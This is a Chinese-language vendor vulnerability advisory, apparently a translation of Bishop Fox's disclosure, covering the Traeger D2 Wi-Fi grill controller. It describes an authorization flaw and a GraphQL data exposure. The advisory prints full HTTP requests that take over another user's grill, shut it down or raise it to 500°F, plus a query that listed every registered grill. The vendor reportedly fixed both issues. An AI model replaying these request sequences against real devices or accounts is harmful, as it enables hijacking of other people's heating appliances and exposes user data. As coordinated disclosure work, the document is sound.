Traeger烤炉D2 Wi-Fi控制器,版本2.02.04
以下文档描述了在Traeger烤炉Wi-Fi控制器中发现的漏洞。此外,您可以在我们最新的博客中全面了解我们用于入侵该产品的产品安全审查方法。
产品供应商
Traeger
产品描述
Traeger烤炉D2 Wi-Fi控制器是一款嵌入式设备,允许用户通过移动设备远程连接和控制Traeger烤炉。产品官网为https://traeger.com。设备固件最新版本为2.02.04,于2023年11月7日发布。
漏洞列表
发现影响Traeger烤炉Wi-Fi控制器的两个漏洞和两个信息性问题:
- 授权控制不足
- 敏感信息泄露
- 未加密固件
- 暴露调试端口
受影响版本
版本2.02.04
解决方案
Traeger已告知Bishop Fox,已向受授权控制不足漏洞影响的烤炉分发了更新固件。Traeger烤炉会自动安装固件更新,这意味着连接到互联网的烤炉在本披露发布时应该已经更新。Bishop Fox还建议在不使用时使用物理电源开关关闭烤炉。
Traeger已禁用敏感信息泄露发现中讨论的GraphQL操作。Traeger客户无需采取任何行动。
授权控制不足
Bishop Fox员工发现一个授权控制不足的实例,使Bishop Fox员工能够控制其他用户的烤炉。具体来说,负责烤炉注册的API缺乏足够的授权控制,如果攻击者获取了烤炉的48位标识符,可以防止用户注册其他用户的现有烤炉。因此,攻击者可以利用此发现控制其他用户的烤炉,并执行敏感操作,如在烹饪周期中更改温度。
漏洞详情
- 漏洞类型:授权控制不足
- 访问向量:☒ 远程, ☐ 本地, ☐ 物理, ☐ 上下文相关, ☐ 其他(如其他,请指定)
- 影响:☐ 代码执行, ☐ 拒绝服务, ☐ 权限提升, ☐ 信息泄露, ☒ 未经授权访问敏感操作
- 安全风险:☐ 严重, ☒ 高, ☐ 中等, ☐ 低
- 漏洞:CWE-284
- CVSS基础分数:7.1
- CVSS向量:CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H
攻击者必须知道目标烤炉的48位标识符才能利用此漏洞。此标识符可以通过在配对过程中捕获网络流量(如附录A所述)或扫描烤炉颗粒料斗内部“Hello, My Name Is”贴纸上的QR码来恢复。
为了利用此问题,Bishop Fox员工从Traeger API检索配对令牌,随后使用它向AWS IoT注册烤炉。出于演示目的,Bishop Fox员工在另一名员工无法访问的烤炉上进行了此测试。
请求
1
2
3
4
5
|
POST /prod/pairing-sessions HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: COGNITO_TOKEN
…省略简洁…
{"thingName":"XXXXXXXXF79B"}
|
响应
1
2
3
4
|
HTTP/2 200 OK
Content-Type: application/json
…省略简洁…
{"pairingToken":" daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6","thingName":"XXXXXXXXF79B"}
|
如上所示,API返回了另一名顾问烤炉的配对令牌,烤炉ID为XXXXXXXXF79B。检索到配对令牌后,Bishop Fox员工向负责完成烤炉注册到AWS IoT并将烤炉与用户Cognito身份关联的/certs API发出后续请求。API接受了自生成的证书签名请求,表明不需要嵌入式设备生成的请求。
请求
1
2
3
4
5
6
7
8
|
POST /certs HTTP/2
Host: durable-api.iot.traegergrills.io
Authorization: daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6
…省略简洁…
{
"thingName": "XXXXXXXXF79B",
"csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICqDCCAZACAQAwYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQowCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAIBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6EKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8iwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdYpBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaRz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6r+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQA+J4qAwpvur1AM2XPKSE7aOM1+E5Rbn7uSpjuROc5Q7O764kGNsptJaUgX8PrS4OW3O1n9sQOHbLF6Qya4ay2MUPApvekw5OwmaNY1YnTquhPlGy11Dad5smuyrEMN7Zl5GGH2F0/q3pa2Jt7cnLWj2gfFIMC8d3HxFNTPbf/ZhJnE1eElwtNS0DFkrTbgDRo3Smu+BjLljMFRVonbfZefBxrIEx8ghgVzyKMJe0w7C9e6Mt4so2OJTuh2MGZmRa1IaeSm0tND5JS/YdLcXm58O7b9M61uKMgOyerxbiTp/LyaHlUmoVIElcGGz2R/WHi5pLuHKsxscbqX//mo2lnS\n-----END CERTIFICATE REQUEST-----\n"
}
|
响应
1
2
3
4
|
HTTP/2 200 OK
Content-Type: application/json
…省略简洁…
{"certificate":"-----BEGIN CERTIFICATE-----\nMIIDnzCCAoegAwIBAgIVAJjiNeO0iQb6uEBVsJWLGgPFSyHiMA0GCSqGSIb3DQEB\nCwUAME0xSzBJBgNVBAsMQkFtYXpvbiBXZWIgU2VydmljZXMgTz1BbWF6b24uY29t\nIEluYy4gTD1TZWF0dGxlIFNUPVdhc2hpbmd0b24gQz1VUzAeFw0yMzEyMjkyMTM5\nMTNaFw00OTEyMzEyMzU5NTlaMGMxCzAJBgNVBAYTAlVTMQswCQYDVQQIDAJIVzEK\nMAgGA1UEBwwBYTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMQow\nCAYDVQQLDAFkMQwwCgYDVQQDDANib2IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw\nggEKAoIBAQD7nsgOqLPR+1e0+uZ3fK5uZk626UkhWBYXkWDd2mmfIL0TllCZ892+\nhCis0sAVmkAiRAGNXzLInADLjqavrumDBatbrXWuLi2lUcxn2yQSCjDgAGGqAv5a\nfIsANGdx0VFsf5FTtrIQWpe5pu5IKvovbxn/5Nqhtj4cf2qr3GiabCrJE7fac+Rn\nWKQSmr/BRINmFutNSVxGOPjCMpQ21N2NAwHUn7WM2mJOzpeuHqhs/9Q0WsMOVTQG\nkc+U3SGGim2paYS6+6z8Grou+qZm4DS18zF54cEHoeJ8J9Dm3cFl/jjgUU5ijPL4\nOq/gKkUeLZGRV+6hlN617At0tvZQOPCPAgMBAAGjYDBeMB8GA1UdIwQYMBaAFDs+\nx7e9MVP5WVrTFdjYaMA6B3rxMB0GA1UdDgQWBBSMBnG/mK18RDmXDz4hZpHJYUhi\n0zAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOC\nAQEAQc5zXuxgl1/6Bj3Bq6l/mO7u+/kV97ntVyNoEEbg+QGneXe3Xp/Ti7Q66Vb5\nNNaJQrufWzIzbtvWLJpyHAVLw3Mrg9sp6Ity9snpJYy220U3IYUcrUu/H0nOfz//\nY0mez7kPTBbN/Iiq74L30+dhg1sRN8TLfZpgnQoaSSH3/Nj/mPALE/d57q2BPrym\n8KrqyIhtF7SI55FqrMGgS42R5TRJaiRn0wnDll41e/gNc8oLFicSYuhh2QegiYTN\nAQ9CeMBf3bKFIVkl6eTwd0qNyJClm8uKBhzChpOk9zOYWYwHhwnR44ny5SOmrD/+\nVz9wN4QqaKwOOhcObYJ5qqXReA==\n-----END CERTIFICATE-----\n"}
|
有趣的是,上述请求并未使烤炉当前的mqtts连接失效,因为它仍然能够接收命令。注册烤炉后,Bishop Fox员工观察到烤炉现在出现在他们的移动应用程序中,并且似乎可以向其发出命令。例如,以下请求/响应对显示了关闭烤炉的请求:
请求
1
2
3
4
5
6
7
|
POST /prod/things/XXXXXXXXF79B/commands HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [NEW_COGNITO_TOKEN]
…省略简洁…
{
"command": "17"
}
|
响应
1
2
3
4
|
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
…省略简洁…
{}
|
发出命令后,另一名顾问确认烤炉已进入关闭周期,如图1所示。
图1 - 接收远程命令后烤炉关闭
还可以向烤炉发出其他命令,例如将烤炉从待机状态唤醒(如果物理电源开关仍处于通电位置)或在烹饪周期中调整温度。为了演示这一点,Bishop Fox员工设计了一个场景,其中另一名顾问正在为晚餐烧烤一块豆腐。
图2 - 调味良好的豆腐块准备烧烤
将豆腐块放在烤炉上后,顾问点燃烤炉并将温度设置为165华氏度。随后,Bishop Fox员工发出烤炉命令将温度更改为500度。
请求
1
2
3
4
5
6
7
|
POST /prod/things/XXXXXXXXF79B/commands HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [NEW_COGNITO_TOKEN]
…省略简洁…
{
"command" : "11,500"
}
|
响应
1
2
3
4
|
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
…省略简洁…
{}
|
此后,烤炉接收命令并将其目标温度调整为500度。不久后,温度达到500度,烤炉开始冒烟。
图4 - 烤炉达到500度并冒烟
豆腐没有被熏制成美味佳肴,而是变成了烧焦、不可食用的脆片。
图5 - 被毁的烧烤
有关Bishop Fox员工如何做出这些发现的详细说明,请参阅我们的Traeger博客文章。
敏感信息泄露
Bishop Fox员工发现移动应用程序调用的GraphQL API包含一个ListGrills操作,该操作披露了当前在Traeger注册的每台烤炉。这还包括由烤炉所有者定义的设备friendlyNames。调用API需要API密钥(硬编码到移动应用程序中)以及AWS Cognito Json Web Token(JWT),可以通过注册和验证移动应用程序来检索。
针对Bishop Fox的漏洞报告,Traeger完全禁用了ListGrills操作。它不再可访问。
漏洞详情
- 漏洞类型:敏感信息泄露
- 访问向量:☒ 远程, ☐ 本地, ☐ 物理, ☐ 上下文相关, ☐ 其他(如其他,请指定)
- 影响:☐ 代码执行, ☐ 拒绝服务, ☐ 权限提升, ☒ 信息泄露, ☐ 其他(如其他,请指定)
- 安全风险:☐ 严重, ☐ 高, ☒ 中等, ☐ 低
- 漏洞:CWE-200
- CVSS基础分数:4.3
- CVSS向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
为了演示此问题,Bishop Fox员工发出以下POST请求与API交互:
请求
1
2
3
4
5
6
7
8
|
POST / HTTP/1.1
Host: api.kube-gql.prod.traegergrills.io
…省略简洁…
X-Api-Key: da2-[REDACTED API KEY]
Authorization: [REDACTED JWT]
…省略简洁…
{"query":"query ListGrills($limit: Int) {\n listGrills(limit: $limit) {\n items {\n createdAt\n deviceTypeId\n friendlyName\n id\n modelNumber\n grillModel {\n
modelNumber\n name\n description\n }\n userId\n serialNumber\n productId\n }\n }\n}","variables":{"limit":10},"operationName":"ListGrills"}
|
响应
1
2
3
4
5
6
7
|
HTTP/1.1 200 OK
X-Powered-By: Express
…省略简洁…
{"data":{"listGrills":{"items":[{"createdAt":"2021-03-05T13:19:09.994Z","deviceTypeId":null,"friendlyName":"Stoked on
Smoke","id":"55bf5cb5-264a-48d3-ab55-1b9b1d57c2a0","modelNumber":null,"grillModel":null,"userId":"4e672e78-8386-4b5a-bde9-49bd54742cb9","serialNumber":"Stoked on
Smoke","productId":"481226c7-8c5d-411a-8449-aba9b480e465"}
…省略简洁…
|
如上所示,上述查询可以返回在Traeger注册的每台烤炉。但是,该信息不包括将移动应用程序与烤炉配对所需的48位标识符。
烤炉等物联网设备的日益普及带来了新的安全挑战,使全面的产品安全审查对于保护连接环境至关重要。这项研究不仅展示了Bishop Fox保护这些物联网设备免受新兴威胁的承诺,还强化了我们全面的服务产品,包括彻底的产品安全审查。
有关更多详细信息,我们建议阅读我们的博客,其中我们深入探讨了Bishop Fox审查Traeger烤炉Wi-Fi控制器产品期间使用的方法。
致谢
Nick Cerne, Bishop Fox安全顾问III ([email protected])
时间线
- 2023年12月25日:初步发现
- 2024年1月17日:与供应商联系
- 2024年3月19日:与供应商深入讨论
- 2024年7月3日:漏洞公开披露